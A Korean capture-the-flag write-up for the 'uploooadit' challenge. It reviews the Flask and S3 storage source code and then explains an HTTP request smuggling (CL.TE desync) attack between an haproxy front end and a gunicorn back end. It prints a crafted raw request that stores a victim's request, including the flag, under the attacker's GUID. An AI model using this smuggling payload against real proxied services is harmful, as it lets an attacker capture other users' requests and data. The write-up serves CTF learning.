https://uploooadit.oooverflow.io/
Files:
app.py
358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py
dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0
파일 두 개와 URL이 주어졌다.
URL에 접속해보면
아무것도 출력되지 않는다.
주어진 파일의 소스를 확인한다.
app.py
import os import re from flask import Flask, abort, request import store GUID_RE = re.compile( r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z" ) app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 512 filestore = store.S3Store() # Uncomment the following line for simpler local testing of this service # filestore = store.LocalStore() @app.route("/files/", methods=["POST"]) def add_file(): if request.headers.get("Content-Type") != "text/plain": abort(422) guid = request.headers.get("X-guid", "") if not GUID_RE.match(guid): abort(422) filestore.save(guid, request.data) return "", 201 @app.route("/files/<guid>", methods=["GET"]) def get_file(guid): if not GUID_RE.match(guid): abort(422) try: return filestore.read(guid), {"Content-Type": "text/plain"} except store.NotFound: abort(404) @app.route("/", methods=["GET"]) def root(): return "", 204
flask를 사용하여 백엔드 서버를 구현하고 있다.
POST 요청으로 Content-type
과 X-guid
의 헤더값을 맞춰준 후에 /files
에 접근하면 filestore
을 사용하여 request의 데이터를 저장해준다.
또한 앞서 전달한 X-guid
를 이용해 /files/<guid>
에 접근할 경우, 해당 guid로 저장된 데이터를 다시 반환해준다.
정확한 내용을 살펴보기 위해 store.py
를 확인한다.
store.py
""" Provides two instances of a filestore. There is not intended to be any vulnerability contained within this code. This file is provided to make it easier to test locally without needing access to an S3 bucket. -OOO """ import os import boto3 import botocore class NotFound(Exception): pass class LocalStore: def __init__(self): import tempfile self.upload_directory = tempfile.mkdtemp() def read(self, key): filepath = os.path.join(self.upload_directory, key) try: with open(filepath, "rb") as fp: return fp.read() except FileNotFoundError: raise NotFound def save(self, key, data): with open(os.path.join(self.upload_directory, key), "wb") as fp: fp.write(data) class S3Store: """Credentials grant access only to resource s3://BUCKET/* and only for: * GetObject * PutObject """ def __init__(self): self.bucket = os.environ["BUCKET"] self.s3 = boto3.client("s3") def read(self, key): try: response = self.s3.get_object(Bucket=self.bucket, Key=key) except botocore.exceptions.ClientError as exception: if exception.response["ResponseMetadata"]["HTTPStatusCode"] == 403: raise NotFound # No other exceptions encountered during testing return response["Body"].read() def save(self, key, data): self.s3.put_object( Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key )
앞서 살펴본 내용과 동일하다. Bucket을 이용하여 filestore.save
는 request 데이터를 저장하고, filestore.read
는 저장된 데이터를 로드한다.
하지만, 소스에서 확인할 수 있는 취약점은 없었다.
프록시로 전달되는 패킷을 확인해봤다.
다음은 루트 페이지(/
)에 접속했을 때의 응답이다.
Via
를 통해 프록시를 이용한다는 것을 확인했고, haproxy가 프론트엔드 서버이며 gunicorn은 백엔드 서버라는 것도 알았다.
프론트와 백엔드가 구분된 서버로 동작하고 있다.
Desync Attack에 대한 이해는 다음의 포스팅을 참고한다.
서버의 환경이 일치한다는 점과 다른 취약점이 보이지 않는다는 점으로 Desync Attack이 가능할 것이라는 추측을 할 수 있었다. 그리고 이 공격이 성공하기 위해서는 출제자가 다음과 같은 기능을 구현했을 것이라는 가정이 필요하다.
서버의 read, save 기능을 사용하여 유의미한 데이터(e.g. Flag)를 지속적으로 save하는 가상의 유저가 있을 것이다.
그리고 그 가상의 유저가 save
하는 데이터를 Desync attack을 이용해 스니핑할 수 있다.
request를 다음과 같이 설정하여 전송한다.
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Length: 175
Content-type: text/plain
Connection: keep-alive
X-guid: 00000000-1212-1212-1212-000000000001
Transfer-Encoding:chunked
0
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-000000000001
Content-Type: text/plain
Content-Length: 387
A
(X-guid
는 아무 값으로 설정하면 된다.)
프론트 서버는 Content-length
로 데이터를 확인한다. 175이므로 받은 request를 그대로 백엔드 서버에게 전달한다.
백엔드 서버는 Transfer-Encoding
으로 데이터를 확인한다. 0이 있는 부분에서 request가 끝난 것으로 이해하고 뒤에 있는 POST /files/ HTTP/1.1 ...
은 캐시에 남게 된다.
그리고 그 다음 request는 가정대로 임의의 victim이 전송할 것이고, victim의 request는 캐시에 남은 데이터와 합쳐져 다음처럼 구성될 것이다.
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-000000000001
Content-Type: text/plain
Content-Length: 387
A
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-victimvictim
Content-Type: text/plain
Content-Length: 30
TEXT //Meaningful data want to store
request의 헤더가 내가 조작한 값으로 변경되었다.
백엔드 서버는 여기서 Content-Length
를 확인하고는 원래 victim의 request 부분을 Request body로 인식할 것이다.
그리고 내 guid인 00000000-1212-1212-1212-000000000001의 DB에 victim의 request를 데이터로서 save
한다.
그 후, 내가 /files/00000000-1212-1212-1212-000000000001
로 접근하게 되면 백엔드 서버는 내 GUID db에 저장되어 있던 victim의 request를 반환할 것이고 결국 victim의 데이터를 스니핑할 수 있게 되는 것이다.
조작된 request를 전송 후 응답을 확인한다.
정상적으로 백엔드 서버에서 처리되었다.
/files/guid
에 접근하여 저장된 데이터를 read
한다.
victim이 전송한 플래그 값을 확인할 수 있다.